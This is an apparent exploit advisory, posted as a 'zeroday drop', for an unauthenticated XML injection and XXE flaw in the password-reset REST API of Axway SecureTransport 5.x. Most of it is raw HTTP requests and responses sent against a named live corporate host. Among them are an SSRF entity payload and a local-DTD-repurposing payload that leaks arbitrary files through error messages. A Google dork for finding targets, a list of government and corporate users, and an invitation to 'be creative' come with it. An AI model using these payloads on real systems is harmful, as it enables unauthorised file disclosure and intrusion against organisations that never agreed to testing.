1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208 | # Title: Axway SecureTransport 5 - Unauthenticated XML Injection
# Google Dork: intitle:"Axway SecureTransport" "Login"
# Date: 2019-07-20
# Author: Dominik Penner / zer0pwn of Underdog Security
# Vendor Homepage: https://www.axway.com/en
# Software Link: https://docs.axway.com/bundle/SecureTransport_54_AdministratorGuide_allOS_en_HTML5/page/Content/AdministratorsGuide/overview/overview.htm
# Version: 5.x
# CVE: N/A
_ _
_______ _ __ ___ | | ___ | |
|_ / _ \ '__/ _ \ | |/ _ \| |
/ / __/ | | (_) || | (_) | |
/___\___|_| \___(_)_|\___/|_|
https://zero.lol
zero days 4 days
ATTENTION:
this is a friendly neighborhood zeroday drop
"Axway SecureTransport is a multi-protocol MFT gateway for securing, managing, and tracking file flows among people and applications inside your enterprise, and beyond your firewall to your user communities, the cloud and mobile devices. It is designed to handle everything — from high-volume automated high speed secure file transfers between systems, sites, lines of business and external partners, to user-driven communications and mobile, folder- and portal-based file sharing."
Who uses this software?
Well, to name a few... (just use the dork dude)
- Government of California
- Biometrics.mil
- Fleetcor
- Costco
- Boeing
- IRS
Description:
Axway SecureTransport versions 5.3 through 5.0 (and potentially others) are vulnerable to an unauthenticated blind XML injection (& XXE) vulnerability in the resetPassword functionality via the REST API. If executed properly, this vulnerablity can lead to local file disclosure, DOS or URI invocation attacks (e.g SSRF->RCE). It's worth noting that in version 5.4 the v1 API was deprecated... but not removed entirely. Meaning that you can still trigger this vulnerability on updated installations if they have the v1.0, v1.1, v1.2 or v1.3 in the /api/ directory.
Reproduction:
1. Breaking the parser.
HTTP Request:
```
POST /api/v1.0/myself/resetPassword HTTP/1.1
Host: securefile.costco.com
Content-Type: application/xml
Referer: localhost
</email>
```
HTTP Response:
```
{
"message" : "javax.xml.bind.UnmarshalException\n - with linked exception:\n[org.xml.sax.SAXParseException; lineNumber: 1; columnNumber: 2; The markup in the document preceding the root element must be well-formed.]"
}
```
2. Verifying the vulnerability.
HTTP Request:
```
POST /api/v1.0/myself/resetPassword HTTP/1.1
Host: securefile.costco.com
Content-Type: application/xml
Referer: localhost
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE resetPassword [
<!ENTITY thisactuallyexists SYSTEM "file:///dev/null">
]>
<resetPassword><email>&thisactuallyexists;&thisdoesnt;</email></resetPassword>
```
HTTP Response:
```
{
"message" : "javax.xml.bind.UnmarshalException\n - with linked exception:\n[org.xml.sax.SAXParseException; lineNumber: 5; columnNumber: 48; The entity "thisdoesnt" was referenced, but not declared.]"
}
```
As you can see, the parser recognizes that "thisactuallyexists" was in fact declared. In the same error, we see that "thisdoesn't" was referenced, but not declared. This demonstrates that we can declare arbitrary entities.
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection#detect-the-vulnerability
3. External Entity Injection (XXE) (hardened)
NOTE: Because the server doesn't reflect the input anywhere, our only option is error-based XXE or out-of-band XXE. However, upon initial discovery, it appears as though most Axway SecureTransport installations have some type of firewall blocking all outgoing requests. This makes exploiting traditional XXE difficult. Judging by this, my only ideas on exploitation would be via blind SSRF or by repurposing an existing DTD on the filesystem to trigger an error with the file contents/result of our payload. However because I don't have a license, I can't effectively audit this software from a whitebox perspective, which makes mapping out internal attack surface difficult. The underlying vulnerability remains... but with restrictions.
HTTP Request:
```
POST /api/v1.0/myself/resetPassword HTTP/1.1
Host: securefile.costco.com
Content-Type: application/xml
Referer: localhost
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE resetPassword [
<!ENTITY ssrf SYSTEM "http://localhost/SOMETHING_I_WISH_I_KNEW_EXISTED?NEW_PASSWORD=1337" >
]>
<resetPassword><email>&ssrf;</email></resetPassword>
```
HTTP Response:
```
(empty)
```
Local DTD repurposing example request:
```
POST /api/v1.0/myself/resetPassword HTTP/1.1
Host: securefile.costco.com
Content-Type: application/xml
Referer: localhost
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE resetPassword [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd">
<!ENTITY % expr 'aaa)>
<!ENTITY % file SYSTEM "file:///FILE_TO_READ">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///abcxyz/%file;'>">
%eval;
%error;
<!ELEMENT aa (bb'>
%local_dtd;
]>
<resetPassword></resetPassword>
```
4. More vulnerability-indicating errors:
HTTP Request:
```
POST /api/v1.0/myself/resetPassword HTTP/1.1
Host: securefile.costco.com
Content-Type: application/xml
Referer: localhost
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE resetPassword [
<!ENTITY ssrf SYSTEM a >
]>
<resetPassword><email>&ssrf;</email></resetPassword>
```
HTTP Response:
```
{
"message" : "javax.xml.bind.UnmarshalException\n - with linked exception:\n[org.xml.sax.SAXParseException; lineNumber: 3; columnNumber: 22; The system identifier must begin with either a single or double quote character.]"
}
```
5. The original request
HTTP Request:
```
POST /api/v1.0/myself/resetPassword HTTP/1.1
Host: securefile.costco.com
Content-Type: application/xml
Referer: localhost
<resetPassword><email>email@email.com</email></resetPassword>
```
HTTP Response:
```
(empty)
```
Conclusion:
If a determined attacker were to get to know the Axway SecureTransport software, the chances of successfully chaining this bug are high. DTD repurposing is a relatively new technique, however in the near future we will be seeing a lot more of this attack vector due to XML parser restrictions/firewalled networks. I didn't feel comfortable doing further testing as I don't have a license, meaning I'm limited to testing against live targets. So for now, enjoy the 0day. Be creative.
Remediation:
In order to avoid this vulnerability, it's suggested to disable both doctype declaration and external general entities. You can find more information on that here: https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html#java
Notes:
- Referer must be set.
- Content type must be xml.
- Successful request returns a HTTP/1.1 204 No Content
- Any type of invalid XML throws an SAXParser exception.
- If external entities were disabled... we should also recieve an exception.
- Same with doctype declaration.
- API endpoints can vary from /api/v1.0, /api/v1.1, /api/v1.2, /api/v1.3, /api/v1.4
References:
https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html
https://mohemiv.com/all/exploiting-xxe-with-local-dtd-files/
https://gist.github.com/marcwickenden/acd0b23953b52e7c1a1a90925862d8e2
https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html
https://www.gosecure.net/blog/2019/07/16/automating-local-dtd-discovery-for-xxe-exploitation
|